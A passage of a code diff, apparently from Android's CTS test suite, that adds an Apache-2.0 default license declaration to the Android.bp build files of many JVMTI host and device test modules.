--- a/hostsidetests/jvmti/run-tests/test-1982/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1982/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1982DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1983/Android.bp b/hostsidetests/jvmti/run-tests/test-1983/Android.bp
index 0a829ee..d165fd1 100644
--- a/hostsidetests/jvmti/run-tests/test-1983/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1983/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1983HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1983/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1983/app/Android.bp
index 7645be6..e22cc83 100644
--- a/hostsidetests/jvmti/run-tests/test-1983/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1983/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1983DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1984/Android.bp b/hostsidetests/jvmti/run-tests/test-1984/Android.bp
index 4a5b859..e84c4a8 100644
--- a/hostsidetests/jvmti/run-tests/test-1984/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1984/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1984HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1984/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1984/app/Android.bp
index f378084..bf406a1 100644
--- a/hostsidetests/jvmti/run-tests/test-1984/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1984/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1984DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1988/Android.bp b/hostsidetests/jvmti/run-tests/test-1988/Android.bp
index fe73550..13e6657 100644
--- a/hostsidetests/jvmti/run-tests/test-1988/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1988/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1988HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1988/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1988/app/Android.bp
index f86f27b..eeab200 100644
--- a/hostsidetests/jvmti/run-tests/test-1988/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1988/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1988DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1989/Android.bp b/hostsidetests/jvmti/run-tests/test-1989/Android.bp
index 6cf902b..d2420c7 100644
--- a/hostsidetests/jvmti/run-tests/test-1989/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1989/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1989HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1989/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1989/app/Android.bp
index 5c61276..0785bf5 100644
--- a/hostsidetests/jvmti/run-tests/test-1989/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1989/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1989DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1990/Android.bp b/hostsidetests/jvmti/run-tests/test-1990/Android.bp
index d8236d1..8c953f3 100644
--- a/hostsidetests/jvmti/run-tests/test-1990/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1990/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1990HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1990/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1990/app/Android.bp
index 67cdde3..df96674 100644
--- a/hostsidetests/jvmti/run-tests/test-1990/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1990/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1990DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1991/Android.bp b/hostsidetests/jvmti/run-tests/test-1991/Android.bp
index b7457f4..216de8b 100644
--- a/hostsidetests/jvmti/run-tests/test-1991/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1991/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1991HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1991/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1991/app/Android.bp
index 9287347..8c1e81b 100644
--- a/hostsidetests/jvmti/run-tests/test-1991/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1991/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1991DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1992/Android.bp b/hostsidetests/jvmti/run-tests/test-1992/Android.bp
index 6dd5bac..1fc7f43 100644
--- a/hostsidetests/jvmti/run-tests/test-1992/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1992/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1992HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1992/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1992/app/Android.bp
index 9f033af..b62e77f 100644
--- a/hostsidetests/jvmti/run-tests/test-1992/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1992/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1992DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1994/Android.bp b/hostsidetests/jvmti/run-tests/test-1994/Android.bp
index 7445270..90c4e59 100644
--- a/hostsidetests/jvmti/run-tests/test-1994/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1994/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1994HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1994/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1994/app/Android.bp
index 0554ed3..3c00d36 100644
--- a/hostsidetests/jvmti/run-tests/test-1994/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1994/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1994DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1995/Android.bp b/hostsidetests/jvmti/run-tests/test-1995/Android.bp
index c5c9b2f..8561296 100644
--- a/hostsidetests/jvmti/run-tests/test-1995/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1995/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1995HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1995/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1995/app/Android.bp
index 39e1f1c..8e873a8 100644
--- a/hostsidetests/jvmti/run-tests/test-1995/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1995/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1995DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1996/Android.bp b/hostsidetests/jvmti/run-tests/test-1996/Android.bp
index f74d839..bc17d45 100644
--- a/hostsidetests/jvmti/run-tests/test-1996/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1996/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1996HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1996/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1996/app/Android.bp
index 38948d1..8211174 100644
--- a/hostsidetests/jvmti/run-tests/test-1996/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1996/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1996DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1997/Android.bp b/hostsidetests/jvmti/run-tests/test-1997/Android.bp
index c604480..266e3b3 100644
--- a/hostsidetests/jvmti/run-tests/test-1997/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1997/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1997HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1997/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1997/app/Android.bp
index d00d04b..fc42090 100644
--- a/hostsidetests/jvmti/run-tests/test-1997/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1997/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1997DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1998/Android.bp b/hostsidetests/jvmti/run-tests/test-1998/Android.bp
index 04d2ee1..c3d57f1 100644
--- a/hostsidetests/jvmti/run-tests/test-1998/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1998/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1998HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1998/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1998/app/Android.bp
index 080b99b..7e4175c 100644
--- a/hostsidetests/jvmti/run-tests/test-1998/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1998/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1998DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1999/Android.bp b/hostsidetests/jvmti/run-tests/test-1999/Android.bp
index bb38d8e..364f2d8 100644
--- a/hostsidetests/jvmti/run-tests/test-1999/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1999/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1999HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1999/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1999/app/Android.bp
index ebab8d8..46fb66f 100644
--- a/hostsidetests/jvmti/run-tests/test-1999/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1999/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1999DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2001/Android.bp b/hostsidetests/jvmti/run-tests/test-2001/Android.bp
index 788d19b..8288395 100644
--- a/hostsidetests/jvmti/run-tests/test-2001/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2001/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest2001HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2001/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2001/app/Android.bp
index fa64b10..675fba1d 100644
--- a/hostsidetests/jvmti/run-tests/test-2001/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2001/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest2001DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2002/Android.bp b/hostsidetests/jvmti/run-tests/test-2002/Android.bp
index 6e17916..1a2138d 100644
--- a/hostsidetests/jvmti/run-tests/test-2002/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2002/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest2002HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2002/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2002/app/Android.bp
index 695244f..809a5ae 100644
--- a/hostsidetests/jvmti/run-tests/test-2002/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2002/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest2002DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2003/Android.bp b/hostsidetests/jvmti/run-tests/test-2003/Android.bp
index 5c0a0e7..798ae8e 100644
--- a/hostsidetests/jvmti/run-tests/test-2003/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2003/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest2003HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2003/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2003/app/Android.bp
index 0b7dc79..cab0a36 100644
--- a/hostsidetests/jvmti/run-tests/test-2003/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2003/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest2003DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2004/Android.bp b/hostsidetests/jvmti/run-tests/test-2004/Android.bp
index eda8530..2926764 100644
--- a/hostsidetests/jvmti/run-tests/test-2004/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2004/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest2004HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2004/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2004/app/Android.bp
index 507c430..6b9985c 100644
--- a/hostsidetests/jvmti/run-tests/test-2004/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2004/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest2004DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2005/Android.bp b/hostsidetests/jvmti/run-tests/test-2005/Android.bp
index 866c971..47af189 100644
--- a/hostsidetests/jvmti/run-tests/test-2005/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2005/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest2005HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2005/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2005/app/Android.bp
index a8b75b7..238d9ac 100644
--- a/hostsidetests/jvmti/run-tests/test-2005/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2005/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest2005DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2006/Android.bp b/hostsidetests/jvmti/run-tests/test-2006/Android.bp
index 51500ae..8b0ad46 100644
--- a/hostsidetests/jvmti/run-tests/test-2006/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2006/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest2006HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2006/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2006/app/Android.bp
index 2d6cc38..05b0687 100644
--- a/hostsidetests/jvmti/run-tests/test-2006/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2006/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest2006DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2007/Android.bp b/hostsidetests/jvmti/run-tests/test-2007/Android.bp
index 9a9a89a..b320fbf 100644
--- a/hostsidetests/jvmti/run-tests/test-2007/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2007/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest2007HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2007/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2007/app/Android.bp
index 72acfa6..6ea9ae9 100644
--- a/hostsidetests/jvmti/run-tests/test-2007/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2007/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest2007DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-902/Android.bp b/hostsidetests/jvmti/run-tests/test-902/Android.bp
index ae7a8ed..2299052 100644
--- a/hostsidetests/jvmti/run-tests/test-902/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-902/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest902HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/Android.bp b/hostsidetests/jvmti/run-tests/test-902/app/Android.bp
index 3083d65..dffb7b8 100644
--- a/hostsidetests/jvmti/run-tests/test-902/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-902/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest902DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-903/Android.bp b/hostsidetests/jvmti/run-tests/test-903/Android.bp
index 2fdc29d..615f57a 100644
--- a/hostsidetests/jvmti/run-tests/test-903/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-903/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest903HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/Android.bp b/hostsidetests/jvmti/run-tests/test-903/app/Android.bp
index bee2731..2e2d6fe 100644
--- a/hostsidetests/jvmti/run-tests/test-903/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-903/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest903DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-904/Android.bp b/hostsidetests/jvmti/run-tests/test-904/Android.bp
index df5c01f..ce0eeaa 100644
--- a/hostsidetests/jvmti/run-tests/test-904/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-904/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest904HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/Android.bp b/hostsidetests/jvmti/run-tests/test-904/app/Android.bp
index 966dd2d..9da823a 100644
--- a/hostsidetests/jvmti/run-tests/test-904/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-904/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest904DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-905/Android.bp b/hostsidetests/jvmti/run-tests/test-905/Android.bp
index 5889c77..cd2c248 100644
--- a/hostsidetests/jvmti/run-tests/test-905/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-905/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest905HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/Android.bp b/hostsidetests/jvmti/run-tests/test-905/app/Android.bp
index 70ade13..022d70f 100644
--- a/hostsidetests/jvmti/run-tests/test-905/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-905/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest905DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-906/Android.bp b/hostsidetests/jvmti/run-tests/test-906/Android.bp
index e72f5c2..8491820 100644
--- a/hostsidetests/jvmti/run-tests/test-906/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-906/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest906HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/Android.bp b/hostsidetests/jvmti/run-tests/test-906/app/Android.bp
index 057dee2..b6bd3ac 100644
--- a/hostsidetests/jvmti/run-tests/test-906/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-906/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest906DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-907/Android.bp b/hostsidetests/jvmti/run-tests/test-907/Android.bp
index dd5859c..518fc7d 100644
--- a/hostsidetests/jvmti/run-tests/test-907/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-907/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest907HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/Android.bp b/hostsidetests/jvmti/run-tests/test-907/app/Android.bp
index 3d6a249..da758c1 100644
--- a/hostsidetests/jvmti/run-tests/test-907/app/Android.bp
